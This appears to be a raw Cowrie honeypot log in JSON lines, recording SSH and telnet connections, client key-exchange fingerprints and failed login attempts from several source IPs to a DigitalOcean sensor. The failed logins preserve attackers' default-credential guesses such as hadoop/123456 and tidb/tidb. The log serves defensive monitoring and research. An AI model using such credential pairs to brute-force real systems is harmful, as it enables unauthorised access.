{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:ba:fb:01:13:56:f9:0a:f2:b6:3a:b9:7d:dd:e1:1b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMQWQA3HMYW66p13eaBujIksUI6BNEJWTaLqHX7hpGRS","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:47.985652Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:32:6b:cc:3f:be:c0:0d:6b:f9:34:e5:08:04:33:0c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC2Z/qeOhmZKjHDNIrb4HV3FLJHJonSg1DFD+lL5umWH","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 13:32:6b:cc:3f:be:c0:0d:6b:f9:34:e5:08:04:33:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:48.053681Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:32:6b:cc:3f:be:c0:0d:6b:f9:34:e5:08:04:33:0c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC2Z/qeOhmZKjHDNIrb4HV3FLJHJonSg1DFD+lL5umWH","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:48.057590Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:48.125275Z","src_ip":"74.48.174.146","session":"0d4f9ba810ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.53211307525635,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:51.327689Z","src_ip":"152.42.224.71","session":"8aa7bd907290","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.13721776008606,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:51.912848Z","src_ip":"152.42.224.71","session":"1c2b842f9bee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.22208619117737,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:54.834798Z","src_ip":"152.42.224.71","session":"5e3ecfac302a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41482,"dst_ip":"10.17.0.5","dst_port":23,"session":"b15932f4929c","protocol":"telnet","message":"New connection: 152.42.224.71:41482 (10.17.0.5:23) [session: b15932f4929c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:55.579308Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58834,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d8e91a68e21","protocol":"ssh","message":"New connection: 31.40.204.166:58834 (159.203.135.109:22) [session: 1d8e91a68e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:56.879888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:56.884440Z","src_ip":"31.40.204.166","session":"1d8e91a68e21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:57.004931Z","src_ip":"31.40.204.166","session":"1d8e91a68e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:57.417919Z","src_ip":"31.40.204.166","session":"1d8e91a68e21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:58.582941Z","src_ip":"31.40.204.166","session":"1d8e91a68e21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":44052,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a378b615d8b","protocol":"ssh","message":"New connection: 103.82.36.79:44052 (10.17.0.5:22) [session: 2a378b615d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:58.772693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:58.794633Z","src_ip":"103.82.36.79","session":"2a378b615d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:53:59.037615Z","src_ip":"103.82.36.79","session":"2a378b615d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:00.099079Z","src_ip":"103.82.36.79","session":"2a378b615d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:01.393793Z","src_ip":"103.82.36.79","session":"2a378b615d8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34340,"dst_ip":"10.17.0.5","dst_port":23,"session":"67a36f59470e","protocol":"telnet","message":"New connection: 152.42.224.71:34340 (10.17.0.5:23) [session: 67a36f59470e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:02.413647Z"}
{"eventid":"cowrie.session.closed","duration":120.00246262550354,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:02.940854Z","src_ip":"152.42.224.71","session":"13e801d3b048","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":114.34931516647339,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:05.855085Z","src_ip":"152.42.224.71","session":"926db05a60b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.563889265060425,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:07.777880Z","src_ip":"152.42.224.71","session":"9c090de4c226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57770,"dst_ip":"159.203.135.109","dst_port":22,"session":"75fd7af21546","protocol":"ssh","message":"New connection: 31.40.204.166:57770 (159.203.135.109:22) [session: 75fd7af21546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:08.488855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:08.494866Z","src_ip":"31.40.204.166","session":"75fd7af21546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:08.613423Z","src_ip":"31.40.204.166","session":"75fd7af21546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123","message":"login attempt [testuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:09.193720Z","src_ip":"31.40.204.166","session":"75fd7af21546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:10.692746Z","src_ip":"31.40.204.166","session":"75fd7af21546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.42918610572815,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:11.945199Z","src_ip":"152.42.224.71","session":"096d10d8adbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.405134439468384,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:16.194205Z","src_ip":"152.42.224.71","session":"3de0b06ced2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40614,"dst_ip":"10.17.0.5","dst_port":23,"session":"37862aa6fcf5","protocol":"telnet","message":"New connection: 152.42.224.71:40614 (10.17.0.5:23) [session: 37862aa6fcf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:18.988555Z"}
{"eventid":"cowrie.session.closed","duration":40.171273708343506,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:20.189847Z","src_ip":"152.42.224.71","session":"86c491770b0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37898,"dst_ip":"159.203.135.109","dst_port":22,"session":"be99d332fd6a","protocol":"ssh","message":"New connection: 31.40.204.166:37898 (159.203.135.109:22) [session: be99d332fd6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:20.580816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:20.594526Z","src_ip":"31.40.204.166","session":"be99d332fd6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:20.712852Z","src_ip":"31.40.204.166","session":"be99d332fd6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:21.386765Z","src_ip":"31.40.204.166","session":"be99d332fd6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:22.519313Z","src_ip":"31.40.204.166","session":"be99d332fd6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.32565402984619,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:23.564240Z","src_ip":"152.42.224.71","session":"03aced51ae92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40626,"dst_ip":"10.17.0.5","dst_port":23,"session":"a093a2d4a78b","protocol":"telnet","message":"New connection: 152.42.224.71:40626 (10.17.0.5:23) [session: a093a2d4a78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:24.096088Z"}
{"eventid":"cowrie.session.closed","duration":120.00171041488647,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:24.421323Z","src_ip":"152.42.224.71","session":"086c1f4dac74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33336,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bbcee19b1fb","protocol":"telnet","message":"New connection: 152.42.224.71:33336 (10.17.0.5:23) [session: 2bbcee19b1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:26.191857Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33338,"dst_ip":"10.17.0.5","dst_port":23,"session":"e671d820d263","protocol":"telnet","message":"New connection: 152.42.224.71:33338 (10.17.0.5:23) [session: e671d820d263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:30.677270Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37514,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e93b20096b3","protocol":"ssh","message":"New connection: 31.40.204.166:37514 (159.203.135.109:22) [session: 8e93b20096b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:31.733676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:31.738803Z","src_ip":"31.40.204.166","session":"8e93b20096b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:31.895433Z","src_ip":"31.40.204.166","session":"8e93b20096b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:32.323738Z","src_ip":"31.40.204.166","session":"8e93b20096b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33370,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b03ffe5ff22","protocol":"telnet","message":"New connection: 152.42.224.71:33370 (10.17.0.5:23) [session: 2b03ffe5ff22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:33.009869Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:33.496769Z","src_ip":"31.40.204.166","session":"8e93b20096b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33354,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb0664482816","protocol":"telnet","message":"New connection: 152.42.224.71:33354 (10.17.0.5:23) [session: eb0664482816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:34.578672Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33372,"dst_ip":"10.17.0.5","dst_port":23,"session":"00afa92f387e","protocol":"telnet","message":"New connection: 152.42.224.71:33372 (10.17.0.5:23) [session: 00afa92f387e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:34.905852Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54352,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4beefbd22cd","protocol":"ssh","message":"New connection: 31.40.204.166:54352 (159.203.135.109:22) [session: c4beefbd22cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:42.201127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:42.211409Z","src_ip":"31.40.204.166","session":"c4beefbd22cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:42.397875Z","src_ip":"31.40.204.166","session":"c4beefbd22cd","protocol":"ssh"}
